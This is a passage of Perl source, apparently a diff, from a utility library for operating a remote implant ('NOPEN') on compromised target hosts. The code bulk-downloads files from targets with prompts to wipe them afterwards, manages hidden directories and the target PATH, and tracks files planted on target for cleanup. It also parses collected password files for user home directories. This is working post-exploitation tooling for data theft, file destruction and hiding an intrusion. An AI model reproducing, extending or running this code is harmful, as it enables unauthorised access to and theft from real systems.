+#splitcount=$splitcount= +#mysplitpart=$mysplitpart= + +#"); + # $moresize .= ", a total of $totalbytes bytes"; + + $ans = ""; + $ans = "y" if $donotprompt; + my ($their,$s,$each,$those,$have) = ("its","","","that","has"); + if ($othercount > 1) { + $s = "s"; + $their = "their"; + $each = " each"; + $those = "those"; + $have = "have"; + } + if (!$donotprompt or ($splitcount > 1 and $mysplitpart == 1)) { + my $partstring = " (-G)\n"; +#Usage: -chili [-l] [-s lines] [-m max] MM-DD-YYYY remdir remfile [remfile ...] + + $partstring = " (-chili $chiliopts DIR(s) FILE(s))\n" + if $chiliopts; + my $othercount = $splitcount - 1; + my $defaultans = "N"; + if ($donotprompt or ($splitcount > 1)) { + $defaultans = "Y"; + } else { + $defaultans = "A" if $wipeafter; + } + if ($splitcount > 1) { + $partstring = ", (-G, part $mysplitpart of $splitcount):\n". + "PASTABLES for other window$s:\n " + unless ($mysplitpart > 1); + if ($mysplitpart == 1) { + my @otherruns = (); + my $thiscmd = "-gs lss $origargs"; + $thiscmd =~ s,-(\S*)U,-$1,; + $thiscmd =~ s,-\s,,; + #dbg("$prog thiscmd=$thiscmd="); + if ($othercount) { + for (my $i=2; $i <= $splitcount;$i++) { + my $cmd = $thiscmd; + $cmd =~ s,s\s*\d+,s $i,; + #dbg("pushing cmd=$cmd="); + $partstring .="$cmd\n "; + push (@otherruns,$cmd); + } + } + } + } + my $prompted = ""; + my $prompt = ""; + $prompt = "You should start the other $othercount instance$s now. Continue with pull 1 of $splitcount?\n\n" + if ($splitcount > 1 and $mysplitpart == 1); + if ($wipeafter) { + $prompt = "You should start the other $othercount instance$s now. About to continue with pull 1 of $splitcount.\n\n" + if ($splitcount > 1 and $mysplitpart == 1); + $prompted = " prompted about" unless $withoutprompt; + $prompt = "$COLOR_FAILURE\n". + "NOTE: You are DELETING target files here. If you answer [N]o to the\n". + " GET prompt, you will still be$prompted deleting the files on\n". + " target. You can answer ABORT here to skip the wipe.\n". + $COLOR_NORMAL. + "\n"; + } + $prompt .= "Do you want to get the $filecount file$s shown above$moresize?"; + + if ($completingpartial) { + my $count = scalar split(/\n/,$completingpartial); + my ($s,$is,$Some,$this,$isa,$verbs,$a) = ("","is","One","this","is a","s"," a"); + ($s,$is,$Some,$this,$isa,$verbs,$a) = ("s","are","Some","these","are","","") if ($count > 1); + $completingpartial = "\n". + "$Some target file$s will resume where a previous download left off.\n". + "To avoid this behavior, answer \"N\"o here, and retry using the -p option.\n". + "You need the -p option, for instance, if $this $isa binary file$s that change$verbs\n". + "throughout (like a database), vs.$a text file$s that grow$verbs by adding lines.\n\n". + sprintf("%25s %-38s\n","Bytes Remaining","File").$COLOR_FAILURE. + sprintf("%25s %-38s\n","===============","====").$COLOR_NORMAL. + $completingpartial."\n"; + } + my $whichget = "-get"; + $whichget = "-chili" if (defined $chiliopts and $chiliopts); + ($ans,$longans) = mygetinput + ( #"Files requested:\n ". + # join("\n ",@files)."\n\n". + "OPTIONAL $whichget SECTION$partstring". + $completingpartial. + $sumsizes."\n".$prompt,$defaultans,"A","ABORT","N","Y", + ); + } + if ($ans eq "a") { + progprint("${COLOR_FAILURE}ABORTED BY USER"); + } elsif ($ans eq "n" and $wipeafter) { + offerwipe("${withoutprompt}LISTIS-ls",@lssoutput); + } elsif ($ans eq "y") { + $pullingfiles = 1; + #dbg("wipeafter=$wipeafter="); + # my $tailedsome = + if ($getlocaldir) { +# ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, +# $serverver,$targetwdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport,$localport) +# = parsestatus(); + doit("-lcd $getlocaldir"); + # Here we re-use the $getlocaldir to store our $localcwd, + # and -lcd back to it after the get returns. + $oldlocaldir = $localcwd; + $options .= "GETL${getlocaldir}LOCALDIR"; + } + # Note: $stopdate is YYYYMMDD so numeric sortable + $options .= "STOPDATE$stopdate" if $stopdate; + # $options does NOT need STARTDATE$startdate since -xm $startdate takes care of that + #dbg("$options does NOT need STARTDATE$startdate since -xm $startdate takes care of that +#options=$options= + +#CALLING: nopengetfiles($withoutprompt${wipeafter}LISTIS-ls$options,@lssoutput); + +#"); + nopengetfiles("OLDLOCALDIR${oldlocaldir}OLDLOCALDIRCHILI${chiliopts}CHILI$withoutprompt${wipeafter}LISTIS-ls$options",@lssoutput); + + doit("-lcd $oldlocaldir") if $oldlocaldir; +# nopengetfiles("$withoutprompt${wipeafter}$options",@files); + if (-f $forcelssstop) { + progprint("$COLOR_FAILURE\n\n". + "Forcing stop ($forcelssstop now exists).\n\n". + "You will need to manually remove that file before any other uses of -lss -G\n". + "or nopengetfiles() (this includes autonewdone, autogetcdrhits, autosurvey\n". + "and possibly more).\n\n". + "$COLOR_NORMAL\n\n". + "Download stopped. Remove this file to allow future -lss -Gs this op:\n\n". + " -lsh rm -f $forcelssstop" + ); + } + if ($maxdownload) { + my ($sofar) = bwsofar(); + if ($sofar >= $maxdownload) { + progprint("$COLOR_FAILURE\n\n". + "Max download ${maxdownload}M has been exceeded (${sofar}M).\n\n". + "$COLOR_NORMAL\n\n". + "Download stopped. Remove or increase the -T $maxdownload option to get more.\n\n" + ); + } + } + } + } else { + my $previouslygot = " not already pulled (use -r\n". + "to re-pull them, see list of already pulled files above)" + if $skippedgot; + progprint + ("OPTIONAL -get SECTION (-G)\n\n". + $COLOR_FAILURE. + "\n\nThere were no matching files$previouslygot." + ); + } + # If @wipethesehere is populated, files we were told to pull and delete were already + # pulled, so we then delete (maybe prompting first) them remotely. + if (@wipethesehere) { + my (@hiddenwipes,@otherwipse) = (); + foreach my $wipethis (@wipethesehere) { + if (isbeneathhidden($wipethis)) { + push(@hiddenwipes,$wipethis); + } else { + push(@otherwipes,$wipethis); + } + } + offerwipe("$whichrm${withoutprompt}CONFIRMSIZE",@hiddenwipes,@otherwipes) + if ($wipeafter and (@hiddenwipes or @otherwipes)); +# offerwipe("$whichrm${withoutprompt}CONFIRMSIZE",@hiddenwipes) if ($wipeafter and @hiddenwipes); +# offerwipe("$whichrm${withoutprompt}CONFIRMSIZE",@otherwipes) if ($wipeafter and @otherwipes); + + + } +#dbg("tarfile=$tarfile= pullingfiles=$pullingfiles= allfiles has ".scalar @allfiles." entries"); + my $othersdone = 0; + if ($tarfile and $pullingfiles) { + #if (($wipeafter or $tarfile) and $pullingfiles) { + my $what = "build a tarball from this data"; +# $what .= " and remove target files just retrieved" if ($tarfile and $wipeafter); +# $what = "remove target files just retrieved" if (!$tarfile and $wipeafter); + waitforothers + ("$prog is about to $what.\n\n" + ) if ($splitcount > 1); +#dbg("Calling splitcount=$splitcount= offerball($tarfile,"","",@allfiles,@skippedgot);"); + my @dirlist = (); + foreach (@dodirs) { + push(@dirlist,".$_"); + } + if ($tailedsome) { + # NO NEED HERE ANYMORE, createtarball looks for .tail and .partial + # if $file not there. + # Force offerball to use @dirlist by wiping these + (@allfiles,@skippedgot) = (); + } + my $forceit = 0; + $forceit = "NOXWAIT" if ($tarfile =~ /Auto/) ; + offerball($forceit,$tarfile,"","$opdown/$nopen_rhostname",\@dirlist,@allfiles,@skippedgot) if $tarfile; +# offerwipe("CONFIRMSIZE",@allfiles) if $wipeafter; + } + } +# dbg("returning inside nopenlss(@_) lssoutput=(".scalar @lssoutput." entries)"); + if ($viatar) { + `touch $lsstarproc.stop`; + while (1) { + waitonlocalport($viatar,3); + my $test = `netstat -antp | grep ":$viatar .*LISTEN.*nc"`; + last unless $test; + my ($pid) = $test =~ m,\s(\d+)/nc,; + kill TERM,$pid if $pid > 0; + } + } + return (join("\n",@lssoutput),$lssnopenlines,@lssoutput) +}#nopenlss() + +sub readpathsfromfile { + local ($openfile,$nodie) = (@_); + my @retarr = (); + unless (open(UTILSIN,$openfile)) { + close(UTILSIN); + mydie("Cannot open $openfile") if (!$nodie and defined &mydie); + return(); + } + while () { + my ($datestamp,$junk,$junk0,$junk2,$junk3,$path) = (); + s/^\s*//; + s/\s*$//; + next if (/^\#/ or /^$/); + # The optional "." in front of the required / allows + # rsync and other "tar cvf file.tar ." input. + ($junk2,$junk3,$path) = + /(.* ){0,1}(\.){0,1}(\/.+)/; + ($junk,$junk0,$datestamp) = + /(-(x){0,1}[mac]\s*(\d\d-\d\d-\d\d\d\d))/; + next unless $path; + # next if ($datestamp and $datestamp ne $datematch); + # dbg("datestamp=$datestamp junk=$junk junk0=$junk0 junk2=$junk2 junk3=$junk3 Adding path=$path="); + + # if any spaces in the $path, escape them + $path =~ s,(\s),\\\1,g; + + push(@retarr,$path); + $datestamp{$path} = $datestamp if $datestamp; + } + close(UTILSIN); + return @retarr; +}#readpathsfromfile + +sub waitforothers { + # @_ contains the arguments for mygetinput, an initial "do you want to wait" prompt + #dbg("In waitforothers with splitcount=$splitcount= (@_)"); + my $othercount = $splitcount-1; + my ($are,$s) = ("are","s"); + ($are,$s) = () if ($othercount == 1); + my $sleepcount = 37; + $_[0] .= "If you answer no, this window will go into a -holdwindow status, running\n". + "\"w\" every 37 seconds. You can answer any integer (implying \"No\") and \n". + "sleep that number of seconds, instead. You will be shown how to exit that\n". + "loop when you are ready.\n\n". + "So, are you ready yet? [Y]"; + while (1) { + my ($ans,$longans) = mygetinput + (@_); + $ans = "y" unless $ans; + if ($longans =~ /(\d+)/) { + $sleepcount = $1 if $1 > 0; + $ans = "n" if $ans =~ /\d/; + } + unless ($ans eq "n" or $ans eq "y") { + mywarn("You must answer Y or N or some integer number\n". + "of seconds to sleep between \"w\" commands"); + next; + } + if ($ans ne "y") { + my $loopcount = 0; + my $touchfile = "$optmp/othersdone.lss.$$"; + my ($prompt) = + (".\n\n". + "Paste this locally to drop out of this loop and continue:\n\n". + " touch $touchfile"); + mywarn($prompt); + while (1) { + last if (-f $touchfile); + sleep 1; + if ($loopcount++ >= $sleepcount) { + $loopcount = 0; + doit("w"); + mywarn($prompt); + } + } + unlink($touchfile); + } + last; + } +} + +sub sumsizes { + # sumsizes(): Given a NOPEN -ls output (scalar), compute the sum + # of the sizes of all files (only files), return it in a descriptive + # string, including the megabytes and gigabytes, as well. + # If optional $sizecap,$maxsize is provided, only count $sizecap bytes of + # files bigger than that. + local ($chiliopts,$listing,$maxdl,$sizecap,$summaxsize,$adjustment) = (@_); + my $sum = 0; + my $tailmore = ""; + foreach (split(/\n/,$listing)) { + s/^\s*//; + next unless /^-/; # do not count directories, only files + my ($size) = /\S+\s+\S+\s+\S+\s+\S+\s+(\d+)/; + if ($sizecap and $size > $summaxsize and $summaxsize) { + #dbg("summaxsize=$summaxsize sizecap=$sizecap sum=$sum before"); + $tailmore = ", at most $summaxsize bytes per file"; + $sum += $summaxsize; + } else { + $sum += $size; + } + #dbg("maxdl=$maxdl size=$size sizecap=$sizecap summaxsize=$summaxsize sum=$sum"); + } + my $sumM = sprintf("%.2f",$sum / 1024 / 1024); + my $sumG = sprintf("%.2f",$sumM / 1024); + my $summore = ""; + if ($maxdl) { + my $bwnow = (bwsofar())[0]; + my $closeto = "close to"; + my $pct = ($sumM+$bwnow)/$maxdl; + $closeto = "more than" if ($pct > 1); + $summore = "\n$COLOR_FAILURE\n". + "NOTE: This amount plus your download so far (${bwnow}M) is $closeto your\n". + " max download setting of ${maxdl}M. Keep in mind that the size numbers\n". + " on target above are not compressed, but your download so far and max\n". + " download are. " + if ($pct > 0.85); + if ($pct > 0.85 and $pct < 1) { + $summore .= "If you download these files and exceed ${maxdl}M, $prog\n". + " will offer to stop (once the current -get command finishes.\n"; + } + $summore .= "\n$COLOR_NORMAL\n"; + } + $sum -= $adjustment; + my $chilimore = $chiliopts ? " before -chili filtering" : ""; + return "\nCumulative total size$chilimore (files only$tailmore): $sum bytes (${sumM}M or ${sumG}G)\n". + $summore; +}#sumsizes() + +sub whichbin { + # Look for $targetbinary in PATH with nopenlss, set + # global $host_bins{$targetbin} if we find it. + local ($targetbinary) = (@_); + my $retval; + # Verify that the binary is available. + return $host_bins{$targetbinary} if $host_bins{$targetbinary}; + my ($output,$nopenlines,@output) = nopenlss("-UFQP",$targetbinary); + foreach my $line (@output) { + my ($size,$month,$path) = $line =~ + m,^-.*\s+(\d+)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec).*\d{4}\s+(/.*)$, ; + $path =~ s,(\s),\\\1,g; + newhostvar("host_bins{$targetbinary}",$path); + $retval = $path; + last; + } + + if (!$retval) { + myalert("binary $targetbinaryary is not in the NOPEN PATH=\$PATH"); + } + return $retval; +}#whichbin + +sub nopenaddpath { + # Global $addtoend means add to end of PATH, default is front. + # Global $allwindows means save this new path to $nopen_mynorc + # then we clear the global $allwindows. + # which autoscriptcheck will see and add for every (new) window on this guy. + # Returns @env, one variable per line. Use this to save -setenv after setting + # PATH if -setenv not needed. + # If any of @adddirs + + local (@adddirs) = (@_); + + my ($output,$nopenlines,@env) = doit("-getenv"); + my $oldpath=""; + foreach (@env) { + ($oldpath) = /PATH=(.*)/; + last if $oldpath; + } + mydie("Error: old PATH not found") + unless $oldpath; + ############################# + # Build new PATH + ############################# + #my $newpath = join(":",@adddirs).":".$oldpath; + my ($warnings,$nohidden)=(); + my $newpath=$oldpath; + @adddirs = reverse @adddirs unless $addtoend; + foreach (@adddirs) { + s/^\s*//; + s/[\/\s]*$//; + $nohidden++ if ($_ eq "NOHIDDEN"); + next unless (m,^/, or $_ eq "."); + if ($_ eq ".") { + my ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$wdir,$targetos,$targetcwd,$targetpid,$targetppid) + = parsestatus(); + if (!$targetcwd) { + mywarn("No CWD on target...try -cd /tmp to get one. Skipping ."); + next; + } + $_ = $targetcwd; + } + #dbg("newpath=$newpath= _=$_="); + if (":${newpath}:" =~ /:$_:/) { +# $warnings .= "\nSkipping $_, already in PATH"; +# next; + # Temporary colons + $newpath = ":${newpath}:"; + # Remove this new entry everywhere, it goes to front after this + $newpath =~ s/:$_:/:/g; + # Remove temporary colons + ($newpath) = $newpath =~ /^:*(.+[^:]):*$/; + } + #dbg("newpath=$newpath="); + if ($addtoend) { + $newpath="$newpath:$_"; + } else { + $newpath="$_:$newpath"; + } + #dbg("newpath=$newpath="); + } + if ($nohidden) { + # Temporary colons + $newpath = ":${newpath}:"; + foreach my $hiddendir (keys %host_hiddendirs) { + if ($newpath =~ m,:($hiddendir[^:]*):,) { + my $badpath = $1; + $warnings .= "\nRemoving $badpath since NOHIDDEN was set.\n"; + $newpath =~ s,:$badpath:,:,g; + redo; + } + } + # Remove temporary colons + ($newpath) = $newpath =~ /^:*(.+[^:]):*$/; + + } + if ($newpath eq $oldpath) { + #dbg("\n\n$warnings\nNo change to PATH."); + if ($prog =~ /addpath/) { + mywarn("\n\n$warnings\nNo change to PATH."); + } else { + mywarn($warnings) if $warnings; + } + } else { + ############################# + # -setenv new PATH + ############################# + if ($warnings) { + mywarn($warnings); + sleep 2; + } + ($output,$nopenlines,@env) = doit("-setenv PATH=$newpath"); + my $mypath=""; + foreach (@env) { + $mypath = $_ if ($_ eq "PATH=$newpath"); + } + mydie("Error. PATH returned not what it should be.") unless $mypath; + #dbg("allwindows=$allwindows Just set new path $newpath"); + # Save this path if need be + if ($allwindows) { + my ($oldcontent,@oldaddpaths) = (); + if (-e $nopen_mynorc) { + if (open(UTILSIN,$nopen_mynorc)) { + while () { + unless (/alias -mypath=(-setenv\s+PATH=.*)/) { + $oldcontent .= $_ ; + next; + } + my $oldaddpath = $1; + $oldaddpath =~ s/\s*$//; + @oldaddpaths = split(/\s+/,$oldaddpath); + } + close(UTILSIN); + } + } + if (open(UTILSOUT,">$nopen_mynorc")) { + print UTILSOUT $oldcontent; + print UTILSOUT "alias -mypath=-setenv $mypath\n" if $mypath; + } + close(UTILSOUT); + $allwindows=0; + } + } + return @env; +}#nopenaddpath() + +sub nopenaddalias { + # Confirmed that duplicate aliases work as needed, the newest + # stays in effect if its readrc is done last. + # We use -help to preserve the old syntax if $preserve is set. + # Note that autoscriptcheck will see and add the new aliases + # for every (new) window on this guy. + + local ($alias,$newvalue,$preserve,$testing) = (@_); + #dbg("in nopenaddalias(($alias,$newvalue,$preserve,$testing) = (@_);"); + my $helpfile = "$optmp/.help.$nopen_rhostname"; + unlink($helpfile); + my ($oldsyntax,$oldline,$oldvalue,$oldreadrc,$oldcontent) = (); + if ($preserve) { + doit("-help >L:$helpfile"); + if (open(UTILSIN,$helpfile)) { + while () { + s/\s*$//; + ($oldline,$oldvalue) = ($1,$2) + if /^\s*($alias\s*=\s*(.*))/; + } + } + close(UTILSIN); + ($oldsyntax) = $oldvalue =~ /\s(.*)/; + #dbg("orig newvalue=$newvalue="); + $newvalue .= " $oldsyntax" if $oldsyntax; + #dbg("Inside: nopenaddalias(@_) with preserve=$preserve oldvalue=$oldvalue oldsyntax=$oldsyntax newvalue=$newvalue"); + } + + if (-e $nopen_mynorc) { + if (open(UTILSIN,$nopen_mynorc)) { + while () { + next if /^\s*alias -mynorc=-readrc\s+(.*)/; + next if /^\s*alias $alias=/; + $oldcontent .= $_ ; + } + close(UTILSIN); + } + } + my $newline = "alias $alias=$newvalue\n"; + #dbg("nopenaddalias(@_) returning ($newline,$oldline)") if $testing; + return($newline,$oldline) if $testing; + doit("# Just set new alias: $newline"); + if (open(UTILSOUT,">$nopen_mynorc")) { + print UTILSOUT $oldcontent; + print UTILSOUT $newline; + print UTILSOUT "alias -mynorc=-readrc $nopen_mynorc\n"; + } + close(UTILSOUT); + return ""; +}#nopenaddalias() + +sub parseuserdirs { + local ($host,$checkcount,$callingfunction) = (@_); + # Function uses all *passw* files under our take for $host thus far, + # returns a list of all unique home directories, ignoring whether the user + # has a shell or not. If $checkcount is provided, and if the resulting list + # is bigger than that, give operator a chance to pare down the list with + # a popup editor. + # RETURNS: ($listofusers,@arrayoftheirdirs) + $callingfunction = "the calling function" unless $callingfunction; + my @list = split(/\n/,`find $opdown/$host -type f -name "*passw*"`); + return () unless @list; + @list = split(/\n/,`/bin/ls -cat @list`); + my ($userlist,$filesparsed,%paths,$usercount,$dircount,%filesums) = (); + # ASSERT: @list is now sorted list of all *passw* files from $host, newest first + foreach my $pwdfile (@list) { + my $filesum = `cat $pwdfile | sum`; + next if $filesums{$filesum}++; # Do not process a file we already have + chomp(my $asciitest = `file -b $pwdfile | grep -i ascii`); + next unless ($asciitest); + next unless open(UTILSIN,$pwdfile); + $filesparsed .= "\n $pwdfile"; + while () { + chomp; + s/\s/_/g; # Eliminate pesky spaces. If the dir has a space we'll miss it. + my @fields = split(/:/); + my $dir = $fields[5]; + next unless ($dir =~ m,^/,); + $paths{$dir}++; + $usercount++; + unless ($user{$dir} =~ /^$fields[0]$/ or + $user{$dir} =~ /,$fields[0],/ or + $user{$dir} =~ /^$fields[0],/ or + $user{$dir} =~ /,$fields[0]$/ + ) { + $user{$dir} .= "," if $user{$dir}; + $user{$dir} .= $fields[0]; + } + chomp($shell{$dir} = $fields[6]); + } + close(UTILSIN); + } + my @dirs = keys %paths; + $dircount = @dirs; + my $originalcount = @dirs; + # Several parts here are interactive with user only if we + # passed our $checkcount max (if any). The remainder is to build + # and return $userlist. + progprint + (".\n$COLOR_FAILURE\n". + "parseuserdirs() is done processing these *passw* files for\n". + "$host:\n". + $filesparsed."\n\n". + "The list of home directories for $nopen_rhostname has $dircount\n". + "directories and $usercount users. This is more than $checkcount entries. Use the vi editor\n". + "that just popped up to trim the list if desired. Once you save the file, only\n". + "those directories will be parsed by $callingfunction.\n". + "" + ) if ($checkcount > 0 and $dircount > $checkcount); + if (open(UTILSOUT,">$optmp/parseuserdirs.$host")) { + print UTILSOUT + "# Ignore this and any commented lines. Delete any lines\n". + "# you do not want processed by $callingfunction.\n#\n". + sprintf("# %-85s %-30s %-20s\n","USER(S)","DIRECTORY","SHELL"). + sprintf("# %-85s %-30s %-20s\n","#######","#########","#####"); + foreach my $dir (@dirs) { + printf UTILSOUT "%-87s %-30s %-20s\n",$user{$dir},$dir,$shell{$dir}; + $userlist .= sprintf " %-25s $user{$dir}\n",$dir; + } + close(UTILSOUT); + system("xterm -geometry 155x58-0+0 -title \"Directory Results for $host\" -e \"vi $optmp/parseuserdirs.$host\" ") if ($checkcount > 0 and $dircount > $checkcount); + @dirs = (); + my %gotalready = (); + if (open(UTILSIN,"$optmp/parseuserdirs.$host")) { + while () { + next if /\s*\#/; + my ($user,$dir,$shell) = /(\S+)\s+(\S+)\s+(\S+)/; + push(@dirs,$dir) unless $gotalready{$dir}++; + } + } + } + my $newcount = @dirs; + my $now = "now"; + $now = "still" if $newcount == $originalcount; + mypause("You started with $originalcount directory lines and $now have $newcount.") + if ($checkcount > 0 and $dircount > $checkcount); + return ($userlist,@dirs); +}#parseuserdirs() + +sub clearallopts { + my $ltrs = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; + for (my $i = 0 ; $i < length$ltrs ; $i++) { + my $ltr = substr($ltrs,$i,1); +# my $dbgval = eval "\$opt_$ltr"; +# dbg("BEFORE in clearallopts opt_$ltr val=$dbgval"); +# dbg("BEFORE: opt_$ltr=$dbgval"); + eval "undef \$opt_$ltr"; + eval "undef \$def_$ltr"; +# $dbgval = eval "\$opt_$ltr"; +# dbg("AFTER in clearallopts opt_$ltr val=$dbgval"); +# dbg("AFTER: opt_$ltr=$dbgval"); + } +}#clearallopts + +sub putfiles { + #GLOBALS (%putfiles,@targetfiles,@stilltherefiles); + # Modifies global hashed and regular array + # $putfiles{$localfile} = $listofremotefiles (\n delimited) + # $localfile is the localfile put up + # $listofremotefiles is the file(s) on target. If the same source was + # put more thanonce, the value here is a \n delimited list of remote names + # @targetfiles is the array of (unique) remote filenames ever put on target. + # @stilltherefiles is the array of (unique) remote filenames (possibly) still on target. + # for the target $nopen_rhostname + my ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$wdir,$targetos,$targetcwd,$targetpid,$targetppid) + = parsestatus(); + my ($calledindirect,@myoutput) = (0); + $calledindirect = 1 unless $prog =~ /putfiles/; + return unless open(UTILSIN,$histfile); + local ($what) = (@_); + my $showls = 1; # Default to always do this + my $quiet = 0; + $quiet = 1 if $what =~ /quiet/i; + my $spacer = " \\---->>>> AND ALSO "; + my (%seenput,%seenmkdir,%seentouched) = (); + while () { + # Ignore local commands (touches) + next if (/\s*(-nohist){0,1}\s*-l(cd|sh)/); + if (/\s*(-nohist){0,1}\s*-put\s+(\S+)\s+(.+)/) { + my ($src,$dst) = ($2,$3); + #dbg("src=$src dst=$dst 1=$1 2=$2 3=$3 UTILSIN=$_"); + $dst =~ s/^-/\\\\-/; +# unless ($seenput{$src}) { + $seenput{$src}++; + unless ($putfiles{$src} =~ /\Q $dst\E\n/ or + $putfiles{$src} =~ /\Q $dst\E$/) { + $putfiles{$src} .= "\n#$spacer " if $putfiles{$src}; + $putfiles{$src} .= $dst; + # Make $dst safe for non-priv windows to -ls + foreach my $hdir (keys %host_hiddendirs) { + my $new = $hdir; + $new =~ s,.$,\?,g; + $dst =~ s,$hdir,$new,g; + } + push(@targetfiles,$dst); +# dbg(" targetfiles=(@targetfiles) setting \$putfiles{$src}.=$dst dst=$dst src=$src 1=$1 Found -put in $histfile: $_"); +# } + } + } elsif (/\s*(-nohist){0,1}\s*(-){0,1}mkdir\s+(-\S+\s+){0,1}(.*)$/) { + my ($opts,$dir) = ($3,$4); + chomp($dir); + $dir =~ s,.$,\?,; + unless ($seenmkdir{$dir}++) { + $putfiles{"MKDIRs DURING OP"} .= "\n#$spacer " + if $putfiles{"MKDIRs DURING OP"}; + $putfiles{"MKDIRs DURING OP"} .= $dir; + # Make $dir safe for non-priv windows to -ls + foreach my $hdir (keys %host_hiddendirs) { + my $new = $hdir; + $new =~ s,.$,\?,g; + $dir =~ s,$hdir,$new,g; + } + push(@targetfiles,$dir); + } + } elsif (/\s*(-nohist){0,1}\s*(-){0,1}touch\s+(\S+\s+){0,1}(\S+)$/) { + # NOTE: 20100621: Disabled the check of touched files. Those are + # normally desirable, not meant to be reversed. + next; + my ($src,$dst) = ($3,$4); + unless ($seentouched{$dst}++) { + $putfiles{"TOUCHED DURING OP"} .= "\n#$spacer " + if $putfiles{"TOUCHED DURING OP"}; + $putfiles{"TOUCHED DURING OP"} .= $dst; + # Make $dst safe for non-priv windows to -ls + foreach my $hdir (keys %host_hiddendirs) { + my $new = $hdir; + $new =~ s,.$,\?,g; + $dst =~ s,$hdir,$new,g; + } + push(@targetfiles,$dst); +# dbg(" targetfiles=(@targetfiles) setting \$putfiles{TOUCHED}.=$dst src=$src 2=$2 1=$1 Found touch in $histfile: $_"); + } + } else { +# dbg("Nothing to see here"); + } + } + close(UTILSIN); + ($output,$nopenlines,@myoutput) = (); + + if ($showls and @targetfiles) { + #dbg("Getting listing of targetfiles=(@targetfiles)"); + ($output,$nopenlines,@myoutput) = nopenlss("-dU",@targetfiles); + } +#dbg("myoutput=(@myoutput) + +#output=$output= + +#showls=$showls= +#targetfiles=(@targetfiles) + + +#"); + my $filesoutput = + sprintf("# %-38s %-38s\n", + "LOCAL FILE", + "REMOTE FILE$COLOR_FAILURE (still there if red below)$COLOR_NOTE"); + $filesoutput .= + sprintf("# %-38s %-38s\n", + "##########", + "###########"); + foreach my $localfile (keys %putfiles) { +#dbg("Inside foreach $localfile keys \%putfiles"); + next if $localfile eq "TOUCHED DURING OP"; + $filesoutput .= + sprintf("# %-38s %-38s\n", + $localfile,$putfiles{$localfile} + ); + } + $filesoutput .= + sprintf("# %-38s %-38s\n", + "TOUCHED DURING OP",$putfiles{"TOUCHED DURING OP"} + ) if $putfiles{"TOUCHED DURING OP"}; + my ($this,$is,$s,$ies,$warning,$allclear) = ("THIS","IS","","Y"); + my (@remotefiles,@remotedirs) = (); + if (@myoutput > 0) { + processnopenls(\@remotefiles,0,1,0,$output,$nopenlines,@myoutput); + foreach my $dirline (grep /^\s*d/,@myoutput) { + my ($size,$month,$path) = $dirline =~ + m,^d.*\s+(\d+)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec).*\d{4}\s+(.*)$, ; + #dbg("Considering now =$dirline="); + next unless $path; + push(@remotedirs,$path); + #dbg("remotedirs is now (@remotedirs)"); + } + @stilltherefiles = @myoutput; + ($this,$is,$s,$ies) = ("THESE","ARE","S","IES"); + $warning = "$COLOR_FAILURE\n". +# "# LIKELY $this $is OUR -PUT/TOUCHED FILE$s STILL ON TARGET\n#\n". + "# LIKELY $this $is OUR -PUT FILE$s or made DIRECTOR$ies STILL ON TARGET\n#\n". + $output. + "\n"; + mygetinput($warning, + "CONTINUE") unless $quiet; + } + $allclear = "$COLOR_NORMAL\n". + "# It appears all have since been removed." + unless $warning; + #dbg("remotefiles=(@remotefiles)"); + #dbg("myoutput=(@myoutput)"); + foreach my $stillthere (@remotefiles,@remotedirs) { + #dbg("in stillthere=$stillthere"); + $filesoutput =~ s,(\s)\Q$stillthere\E(\s),$COLOR_FAILURE\1\Q$stillthere\E$COLOR_NOTE\2,g; + } + # Multiple exit strategies here + mydie($warning. + "$COLOR_NORMAL\n\n". +# "# Files -put/[-]touched on $nopen_rhostname this op:\n#$COLOR_NOTE\n". + "# Files -put or directories made on $nopen_rhostname this op:\n#$COLOR_NOTE\n". + $filesoutput. + $allclear. + "") unless !@targetfiles or $calledindirect or $calledviarequire; + progprint($warning. + "$COLOR_NORMAL\n\n". +# "# Files -put/[-]touched on $nopen_rhostname this op:\n#$COLOR_NOTE\n". + "# Files -put on $nopen_rhostname this op:\n#$COLOR_NOTE\n". + $filesoutput. + $allclear. + "") if @targetfiles and !$quiet; + mydie("$COLOR_FAILURE\n\n". + "No files -put or [-]touched during op". + "") unless $quiet or @targetfiles or $calledindirect or $calledviarequire; + + # May have been $calledindirect (function call) or $calledviarequire + progprint("$COLOR_FAILURE\n\n". + "No files -put or [-]touched during op". + "") unless $quiet or @targetfiles; + return $warning. + "$COLOR_NORMAL\n\n". + "# Files -put/[-]touched on $nopen_rhostname this op:\n#$COLOR_NOTE\n". + $filesoutput. + $allclear; +}#putfiles + +#sub gotfiles { +# # Returns a hashed array: (%gotfiles) + +#TODO: Gotfiles is a bit harder due to options. Do we need it? + +# # $gotfiles{$remotefile} = $localfile +# # $localfile is the localfile got up +# # $remotefile is the file on target +# my ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, +# $serverver,$wdir,$targetos,$targetcwd,$targetpid,$targetppid) +# = parsestatus(); +# return () unless open(UTILSIN,$histfile); +# my %gotfiles = (); +# while () { +# next unless /\s*(-nohist){0,1}\s*-get\s+(\S+)\s+(\S+)/; +# $gotfiles{$2} = $1; +# } +# close(UTILSIN); +# return %gotfiles; + +#}#gotfiles + +sub fixdirswithslashes { +# NEVER MIND THIS IS TOO MESSY NOT USING IT +#dbg("opdir=$opdir Inside fixdirswithslashes(@_) \$nopen_rhostname_with_slashes=$nopen_rhostname_with_slashes="); + + return unless $nopen_rhostname_with_slashes; + # Fix dirs first +my ($newdir,$subdir,$firstdir,$count,@dirs,%donedirs)=(0); + while (1) { + last if $count++>10; + @dirs = split(/\n/,`find $opdir/ -type d | grep "$nopen_rhostname_with_slashes"`); + last unless @dirs; + while (@dirs) { + my $justone = shift(@dirs); + ($firstdir,$subdir) = $justone =~ m,(.*$nopen_rhostname_with_slashes/([^/]*)),; + next unless $subdir; + $newdir = $firstdir; + $newdir =~ s/$nopen_rhostname_with_slashes/$nopen_rhostname/g; +# dbg("justone=$justone dirs=(@dirs)\n\n\ncount=$count fixing slashdirs: mv $firstdir $newdir"); + if (-d $newdir) { + system("mv $firstdir/* $newdir"); + } else { + system("mv $firstdir $newdir"); + } + last; + } + } 